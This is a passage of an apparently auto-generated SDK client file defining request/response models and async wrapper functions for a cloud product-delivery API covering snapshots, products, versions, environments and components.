sourceType?: string(name='sourceType'),
uid?: string(name='uid'),
vpcid?: string(name='vpcid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetSnapshotResponse = {
headers: map[string]string(name='headers'),
body: GetSnapshotResponseBody(name='body'),
}
async function getSnapshot(uid: string): GetSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getSnapshotWithOptions(uid, headers, runtime);
}
async function getSnapshotWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetSnapshotResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetSnapshot', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/snapshots/${uid}`, 'json', req, runtime);
}
model DeleteProductVersionResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
}
model DeleteProductVersionResponse = {
headers: map[string]string(name='headers'),
body: DeleteProductVersionResponseBody(name='body'),
}
async function deleteProductVersion(uid: string): DeleteProductVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteProductVersionWithOptions(uid, headers, runtime);
}
async function deleteProductVersionWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteProductVersionResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteProductVersion', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/api/v1/products/${uid}/versions`, 'json', req, runtime);
}
model CreateLatestProductVersionHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model CreateLatestProductVersionResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateLatestProductVersionResponse = {
headers: map[string]string(name='headers'),
body: CreateLatestProductVersionResponseBody(name='body'),
}
async function createLatestProductVersion(uid: string, versionUID: string): CreateLatestProductVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new CreateLatestProductVersionHeaders{};
return createLatestProductVersionWithOptions(uid, versionUID, headers, runtime);
}
async function createLatestProductVersionWithOptions(uid: string, versionUID: string, headers: CreateLatestProductVersionHeaders, runtime: Util.RuntimeOptions): CreateLatestProductVersionResponse {
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
};
return doROARequest('CreateLatestProductVersion', '2020-12-01', 'HTTPS', 'POST', 'AK', `/integration/api/v1/products/${uid}/versions/${versionUID}`, 'json', req, runtime);
}
model CreateProductHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model CreateProductRequest {
annotations?: string(name='annotations'),
description?: string(name='description'),
foundationVersionUID?: string(name='foundationVersionUID'),
productName?: string(name='productName'),
}
model CreateProductResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateProductResponse = {
headers: map[string]string(name='headers'),
body: CreateProductResponseBody(name='body'),
}
async function createProduct(request: CreateProductRequest): CreateProductResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new CreateProductHeaders{};
return createProductWithOptions(request, headers, runtime);
}
async function createProductWithOptions(request: CreateProductRequest, headers: CreateProductHeaders, runtime: Util.RuntimeOptions): CreateProductResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.annotations)) {
body.annotations = request.annotations;
}
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.foundationVersionUID)) {
body.foundationVersionUID = request.foundationVersionUID;
}
if (!Util.isUnset(request.productName)) {
body.productName = request.productName;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('CreateProduct', '2020-12-01', 'HTTPS', 'POST', 'AK', `/integration/api/v1/products`, 'json', req, runtime);
}
model GetProductEnvironmentsRequest {
productUID?: string(name='productUID'),
envType?: string(name='envType'),
platforms?: [
{
architecture?: string(name='architecture'),
os?: string(name='os'),
}
](name='platforms'),
}
model GetProductEnvironmentsShrinkRequest {
productUID?: string(name='productUID'),
envType?: string(name='envType'),
platformsShrink?: string(name='platforms'),
}
model GetProductEnvironmentsResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
data?: [
{
uid?: string(name='uid'),
productUID?: string(name='productUID'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productVersionUID?: string(name='productVersionUID'),
provider?: string(name='provider'),
envUID?: string(name='envUID'),
envType?: string(name='envType'),
envName?: string(name='envName'),
oldProductVersion?: string(name='oldProductVersion'),
oldProductVersionUID?: string(name='oldProductVersionUID'),
}
](name='data'),
}
model GetProductEnvironmentsResponse = {
headers: map[string]string(name='headers'),
body: GetProductEnvironmentsResponseBody(name='body'),
}
async function getProductEnvironments(request: GetProductEnvironmentsRequest): GetProductEnvironmentsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductEnvironmentsWithOptions(request, headers, runtime);
}
async function getProductEnvironmentsWithOptions(tmpReq: GetProductEnvironmentsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductEnvironmentsResponse {
Util.validateModel(tmpReq);
var request = new GetProductEnvironmentsShrinkRequest{};
OpenApiUtil.convert(tmpReq, request);
if (!Util.isUnset(tmpReq.platforms)) {
request.platformsShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.platforms, 'platforms', 'json');
}
var query : map[string]any= {};
if (!Util.isUnset(request.productUID)) {
query.productUID = request.productUID;
}
if (!Util.isUnset(request.envType)) {
query.envType = request.envType;
}
if (!Util.isUnset(request.platformsShrink)) {
query.platforms = request.platformsShrink;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetProductEnvironments', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_envs`, 'json', req, runtime);
}
model ValidateEnvironmentTunnelRequest {
tunnelType?: string(name='tunnelType', description='通道类型'),
tunnelConfig?: {
hostname?: string(name='hostname', description='跳板机hostname'),
sshPort?: int32(name='sshPort', description='跳板机ssh端口号'),
username?: string(name='username', description='跳板机用户名'),
password?: string(name='password', description='跳板机密码'),
vpcId?: string(name='vpcId', description='直连vpcId'),
regionId?: string(name='regionId', description='直连地域id'),
}(name='tunnelConfig', description='通道配置'),
}
model ValidateEnvironmentTunnelResponseBody = {
errCode?: string(name='errCode', description='错误码'),
errMsg?: string(name='errMsg', description='错误信息'),
success?: boolean(name='success', description='是否成功'),
}
model ValidateEnvironmentTunnelResponse = {
headers: map[string]string(name='headers'),
body: ValidateEnvironmentTunnelResponseBody(name='body'),
}
async function validateEnvironmentTunnel(uid: string, request: ValidateEnvironmentTunnelRequest): ValidateEnvironmentTunnelResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return validateEnvironmentTunnelWithOptions(uid, request, headers, runtime);
}
async function validateEnvironmentTunnelWithOptions(uid: string, request: ValidateEnvironmentTunnelRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ValidateEnvironmentTunnelResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.tunnelType)) {
body.tunnelType = request.tunnelType;
}
if (!Util.isUnset(request.tunnelConfig)) {
body.tunnelConfig = request.tunnelConfig;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('ValidateEnvironmentTunnel', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/environments/${uid}/tunnels/validation`, 'json', req, runtime);
}
model DeleteEnvironmentResponseBody = {
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
errCode?: string(name='errCode'),
}
model DeleteEnvironmentResponse = {
headers: map[string]string(name='headers'),
body: DeleteEnvironmentResponseBody(name='body'),
}
async function deleteEnvironment(uid: string): DeleteEnvironmentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteEnvironmentWithOptions(uid, headers, runtime);
}
async function deleteEnvironmentWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteEnvironmentResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteEnvironment', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/api/v1/environments/${uid}`, 'json', req, runtime);
}
model CreateSnapshotRequest {
description?: string(name='description'),
name?: string(name='name'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productVersionDesc?: string(name='productVersionDesc'),
region?: string(name='region'),
vpcid?: string(name='vpcid'),
}
model CreateSnapshotResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateSnapshotResponse = {
headers: map[string]string(name='headers'),
body: CreateSnapshotResponseBody(name='body'),
}
async function createSnapshot(request: CreateSnapshotRequest): CreateSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return createSnapshotWithOptions(request, headers, runtime);
}
async function createSnapshotWithOptions(request: CreateSnapshotRequest, headers: map[string]string, runtime: Util.RuntimeOptions): CreateSnapshotResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.name)) {
body.name = request.name;
}
if (!Util.isUnset(request.productName)) {
body.productName = request.productName;
}
if (!Util.isUnset(request.productVersion)) {
body.productVersion = request.productVersion;
}
if (!Util.isUnset(request.productVersionDesc)) {
body.productVersionDesc = request.productVersionDesc;
}
if (!Util.isUnset(request.region)) {
body.region = request.region;
}
if (!Util.isUnset(request.vpcid)) {
body.vpcid = request.vpcid;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('CreateSnapshot', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/snapshots`, 'json', req, runtime);
}
model ListChildrenComponentVersionResponseBody = {
data?: {
clusterId?: string(name='clusterId'),
createdAt?: string(name='createdAt'),
description?: string(name='description'),
instanceList?: string(name='instanceList'),
name?: string(name='name'),
productName?: string(name='productName'),
uid?: string(name='uid'),
vendorConfig?: string(name='vendorConfig'),
vendorType?: string(name='vendorType'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListChildrenComponentVersionResponse = {
headers: map[string]string(name='headers'),
body: ListChildrenComponentVersionResponseBody(name='body'),
}
async function listChildrenComponentVersion(id: string, versionId: string, componentId: string): ListChildrenComponentVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listChildrenComponentVersionWithOptions(id, versionId, componentId, headers, runtime);
}
async function listChildrenComponentVersionWithOptions(id: string, versionId: string, componentId: string, headers: map[string]string, runtime: Util.RuntimeOptions): ListChildrenComponentVersionResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListChildrenComponentVersion', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/products/${id}/versions/${versionId}/children/${componentId}`, 'json', req, runtime);
}
model DeleteEnvironmentNodeRequest {
envUID?: string(name='envUID'),
}
model DeleteEnvironmentNodeResponseBody = {
errMessage?: string(name='ErrMessage'),
success?: boolean(name='Success'),
errCode?: string(name='errCode'),
}
model DeleteEnvironmentNodeResponse = {
headers: map[string]string(name='headers'),
body: DeleteEnvironmentNodeResponseBody(name='body'),
}
async function deleteEnvironmentNode(uid: string, request: DeleteEnvironmentNodeRequest): DeleteEnvironmentNodeResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteEnvironmentNodeWithOptions(uid, request, headers, runtime);
}
async function deleteEnvironmentNodeWithOptions(uid: string, request: DeleteEnvironmentNodeRequest, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteEnvironmentNodeResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.envUID)) {
query.envUID = request.envUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('DeleteEnvironmentNode', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/api/v1/environmentnodes/${uid}`, 'json', req, runtime);
}
model GetSnapshotInstancesRequest {
pageSize?: int32(name='pageSize'),
pageNum?: int32(name='pageNum'),
sortKey?: string(name='sortKey'),
sortDirect?: string(name='sortDirect'),
}
model GetSnapshotInstancesResponseBody = {
data?: {
list?: [
{
annotations?: {
additionalProp1?: string(name='additionalProp1'),
additionalProp2?: string(name='additionalProp2'),
additionalProp3?: string(name='additionalProp3'),
}(name='annotations'),
cpu?: int32(name='cpu'),
ecsInstanceID?: string(name='ecsInstanceID'),
hostName?: string(name='hostName'),
identifier?: string(name='identifier'),
imageID?: string(name='imageID'),
instanceType?: string(name='instanceType'),
internetBandwidth?: int32(name='internetBandwidth'),
joinSnapshot?: boolean(name='joinSnapshot'),
memory?: int32(name='memory'),
privateIP?: string(name='privateIP'),
publicIP?: string(name='publicIP'),
rootPassword?: string(name='rootPassword'),
storageTotalSize?: int32(name='storageTotalSize'),
uid?: string(name='uid'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetSnapshotInstancesResponse = {
headers: map[string]string(name='headers'),
body: GetSnapshotInstancesResponseBody(name='body'),
}
async function getSnapshotInstances(uid: string, request: GetSnapshotInstancesRequest): GetSnapshotInstancesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getSnapshotInstancesWithOptions(uid, request, headers, runtime);
}
async function getSnapshotInstancesWithOptions(uid: string, request: GetSnapshotInstancesRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetSnapshotInstancesResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.sortKey)) {
query.sortKey = request.sortKey;
}
if (!Util.isUnset(request.sortDirect)) {
query.sortDirect = request.sortDirect;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetSnapshotInstances', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/snapshots/${uid}/instances`, 'json', req, runtime);
}
model CheckSLRRequest {
uid?: string(name='uid'),
}
model CheckSLRResponseBody = {
data?: string(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
errorCode?: string(name='errorCode'),
success?: boolean(name='success'),
}
model CheckSLRResponse = {
headers: map[string]string(name='headers'),
body: CheckSLRResponseBody(name='body'),
}
async function checkSLR(request: CheckSLRRequest): CheckSLRResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return checkSLRWithOptions(request, headers, runtime);
}
async function checkSLRWithOptions(request: CheckSLRRequest, headers: map[string]string, runtime: Util.RuntimeOptions): CheckSLRResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.uid)) {
query.uid = request.uid;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('CheckSLR', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/slr`, 'json', req, runtime);
}
model ApplyComponentsRequest {
childrenList?: [
{
annotations?: string(name='annotations'),
appVersion?: string(name='appVersion'),
category?: string(name='category'),
componentClass?: string(name='componentClass'),
description?: string(name='description'),
documents?: string(name='documents'),
imagesMapping?: string(name='imagesMapping'),
name?: string(name='name'),
namespace?: string(name='namespace'),
orchestrationType?: string(name='orchestrationType'),
orchestrationValues?: string(name='orchestrationValues'),
packageURL?: string(name='packageURL'),
parentComponent?: boolean(name='parentComponent'),
platforms?: [
{
architecture?: string(name='architecture'),
os?: string(name='os'),
}
](name='platforms'),
priority?: int32(name='priority'),
provider?: string(name='provider'),
public?: boolean(name='public'),
readme?: string(name='readme'),
resources?: string(name='resources'),
singleton?: boolean(name='singleton'),
version?: string(name='version'),
}
](name='childrenList'),
component?: string(name='component'),
}
model ApplyComponentsResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
status?: string(name='status'),
success?: boolean(name='success'),
}
model ApplyComponentsResponse = {
headers: map[string]string(name='headers'),
body: ApplyComponentsResponseBody(name='body'),
}
async function applyComponents(request: ApplyComponentsRequest): ApplyComponentsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return applyComponentsWithOptions(request, headers, runtime);
}
async function applyComponentsWithOptions(request: ApplyComponentsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ApplyComponentsResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.childrenList)) {
body.childrenList = request.childrenList;
}
if (!Util.isUnset(request.component)) {
body.component = request.component;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('ApplyComponents', '2020-12-01', 'HTTPS', 'POST', 'AK', `/integration/api/v1/components`, 'json', req, runtime);
}
model CreatePackageConfigResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreatePackageConfigResponse = {
headers: map[string]string(name='headers'),
body: CreatePackageConfigResponseBody(name='body'),
}
async function createPackageConfig(uid: string): CreatePackageConfigResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return createPackageConfigWithOptions(uid, headers, runtime);
}
async function createPackageConfigWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): CreatePackageConfigResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('CreatePackageConfig', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/package_config`, 'json', req, runtime);
}
model AddProductComponentRequest {
releaseName?: string(name='releaseName'),
}
model AddProductComponentResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
status?: string(name='status'),
success?: boolean(name='success'),
}
model AddProductComponentResponse = {
headers: map[string]string(name='headers'),
body: AddProductComponentResponseBody(name='body'),
}
async function addProductComponent(id: string, versionId: string, componentVersionId: string, ClientToken: string, request: AddProductComponentRequest): AddProductComponentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return addProductComponentWithOptions(id, versionId, componentVersionId, ClientToken, request, headers, runtime);
}
async function addProductComponentWithOptions(id: string, versionId: string, componentVersionId: string, ClientToken: string, request: AddProductComponentRequest, headers: map[string]string, runtime: Util.RuntimeOptions): AddProductComponentResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.releaseName)) {
body.releaseName = request.releaseName;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('AddProductComponent', '2020-12-01', 'HTTPS', 'POST', 'AK', `/integration/api/v1/products/${id}/versions/${versionId}/componentVersions/${componentVersionId}`, 'json', req, runtime);
}
model UpdateProductVersionResourcesRequest {
resources?: string(name='resources', description='product version resources'),
}
model UpdateProductVersionResourcesResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateProductVersionResourcesResponse = {
headers: map[string]string(name='headers'),
body: UpdateProductVersionResourcesResponseBody(name='body'),
}
async function updateProductVersionResources(uid: string, request: UpdateProductVersionResourcesRequest): UpdateProductVersionResourcesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateProductVersionResourcesWithOptions(uid, request, headers, runtime);
}
async function updateProductVersionResourcesWithOptions(uid: string, request: UpdateProductVersionResourcesRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateProductVersionResourcesResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.resources)) {
query.resources = request.resources;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('UpdateProductVersionResources', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/product_versions/${uid}/resource_requirement`, 'json', req, runtime);
}
model DeleteSnapshotResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model DeleteSnapshotResponse = {
headers: map[string]string(name='headers'),
body: DeleteSnapshotResponseBody(name='body'),
}
async function deleteSnapshot(uid: string): DeleteSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteSnapshotWithOptions(uid, headers, runtime);
}
async function deleteSnapshotWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteSnapshotResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteSnapshot', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/api/v1/snapshots/${uid}`, 'json', req, runtime);
}
model ListEnvironmentsWithSnapshotResponseBody = {
data?: {
list?: [
{
createdAt?: string(name='CreatedAt'),
description?: string(name='description'),
id?: int32(name='id'),
instanceStatus?: string(name='instanceStatus'),
name?: string(name='name'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productVersionUID?: string(name='productVersionUID'),
uid?: string(name='uid'),
vendorType?: string(name='vendorType'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListEnvironmentsWithSnapshotResponse = {
headers: map[string]string(name='headers'),
body: ListEnvironmentsWithSnapshotResponseBody(name='body'),
}
async function listEnvironmentsWithSnapshot(uid: string): ListEnvironmentsWithSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvironmentsWithSnapshotWithOptions(uid, headers, runtime);
}
async function listEnvironmentsWithSnapshotWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvironmentsWithSnapshotResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListEnvironmentsWithSnapshot', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/snapshots/${uid}/environments`, 'json', req, runtime);
}
model CreateEnvironmentAndGenerateVendorConfigHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model CreateEnvironmentAndGenerateVendorConfigRequest {
envUID?: string(name='envUID'),
platform?: {
architecture?: string(name='architecture'),
os?: string(name='os'),
}(name='platform'),
productName?: string(name='productName'),
productUID?: string(name='productUID'),
productVersion?: string(name='productVersion'),
productVersionUID?: string(name='productVersionUID'),
vendorType?: string(name='vendorType'),
}
model CreateEnvironmentAndGenerateVendorConfigResponseBody = {
data?: {
envUID?: string(name='envUID'),
vendorConfig?: string(name='vendorConfig'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateEnvironmentAndGenerateVendorConfigResponse = {
headers: map[string]string(name='headers'),
body: CreateEnvironmentAndGenerateVendorConfigResponseBody(name='body'),
}
async function createEnvironmentAndGenerateVendorConfig(request: CreateEnvironmentAndGenerateVendorConfigRequest): CreateEnvironmentAndGenerateVendorConfigResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new CreateEnvironmentAndGenerateVendorConfigHeaders{};
return createEnvironmentAndGenerateVendorConfigWithOptions(request, headers, runtime);
}
async function createEnvironmentAndGenerateVendorConfigWithOptions(request: CreateEnvironmentAndGenerateVendorConfigRequest, headers: CreateEnvironmentAndGenerateVendorConfigHeaders, runtime: Util.RuntimeOptions): CreateEnvironmentAndGenerateVendorConfigResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.envUID)) {
body.envUID = request.envUID;
}
if (!Util.isUnset(request.platform)) {
body.platform = request.platform;
}
if (!Util.isUnset(request.productName)) {
body.productName = request.productName;
}
if (!Util.isUnset(request.productUID)) {
body.productUID = request.productUID;
}
if (!Util.isUnset(request.productVersion)) {
body.productVersion = request.productVersion;
}
if (!Util.isUnset(request.productVersionUID)) {
body.productVersionUID = request.productVersionUID;
}
if (!Util.isUnset(request.vendorType)) {
body.vendorType = request.vendorType;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('CreateEnvironmentAndGenerateVendorConfig', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/product_envs/vendor_config`, 'json', req, runtime);
}
model InitSnapshotInstanceResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model InitSnapshotInstanceResponse = {
headers: map[string]string(name='headers'),
body: InitSnapshotInstanceResponseBody(name='body'),
}
async function initSnapshotInstance(uid: string): InitSnapshotInstanceResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return initSnapshotInstanceWithOptions(uid, headers, runtime);
}
async function initSnapshotInstanceWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): InitSnapshotInstanceResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('InitSnapshotInstance', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/snapshots/${uid}/instances`, 'json', req, runtime);
}
model ListEnvironmentParamsRequest {
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
name?: string(name='name'),
fuzzy?: string(name='fuzzy'),
paramType?: string(name='paramType', description='组件和全局类型字段'),
productVersionUID?: string(name='productVersionUID'),
}
model ListEnvironmentParamsResponseBody = {
data?: {
list?: [
{
createdAt?: string(name='createdAt'),
description?: string(name='description'),
id?: int32(name='id'),
name?: string(name='name'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productVersionUID?: string(name='productVersionUID'),
uid?: string(name='uid'),
vendorType?: string(name='vendorType'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListEnvironmentParamsResponse = {
headers: map[string]string(name='headers'),
body: ListEnvironmentParamsResponseBody(name='body'),
}
async function listEnvironmentParams(uid: string, request: ListEnvironmentParamsRequest): ListEnvironmentParamsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvironmentParamsWithOptions(uid, request, headers, runtime);
}
async function listEnvironmentParamsWithOptions(uid: string, request: ListEnvironmentParamsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvironmentParamsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.name)) {
query.name = request.name;
}
if (!Util.isUnset(request.fuzzy)) {
query.fuzzy = request.fuzzy;
}
if (!Util.isUnset(request.paramType)) {
query.paramType = request.paramType;
}
if (!Util.isUnset(request.productVersionUID)) {
query.productVersionUID = request.productVersionUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListEnvironmentParams', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/params`, 'json', req, runtime);
}
model GetFoundationVersionResponseBody = {
data?: [
FoundationVersion
](name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetFoundationVersionResponse = {
headers: map[string]string(name='headers'),
body: GetFoundationVersionResponseBody(name='body'),
}
async function getFoundationVersion(uid: string): GetFoundationVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getFoundationVersionWithOptions(uid, headers, runtime);
}
async function getFoundationVersionWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetFoundationVersionResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetFoundationVersion', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/foundation/versions/${uid}`, 'json', req, runtime);
}
model DeleteProductResponseBody = {
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
errCode?: string(name='errCode'),
}
model DeleteProductResponse = {
headers: map[string]string(name='headers'),
body: DeleteProductResponseBody(name='body'),
}
async function deleteProduct(uid: string): DeleteProductResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteProductWithOptions(uid, headers, runtime);
}
async function deleteProductWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteProductResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteProduct', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/integration/api/v1/products/${uid}`, 'json', req, runtime);
}
model GetEnvironmentPackageResponseBody = {
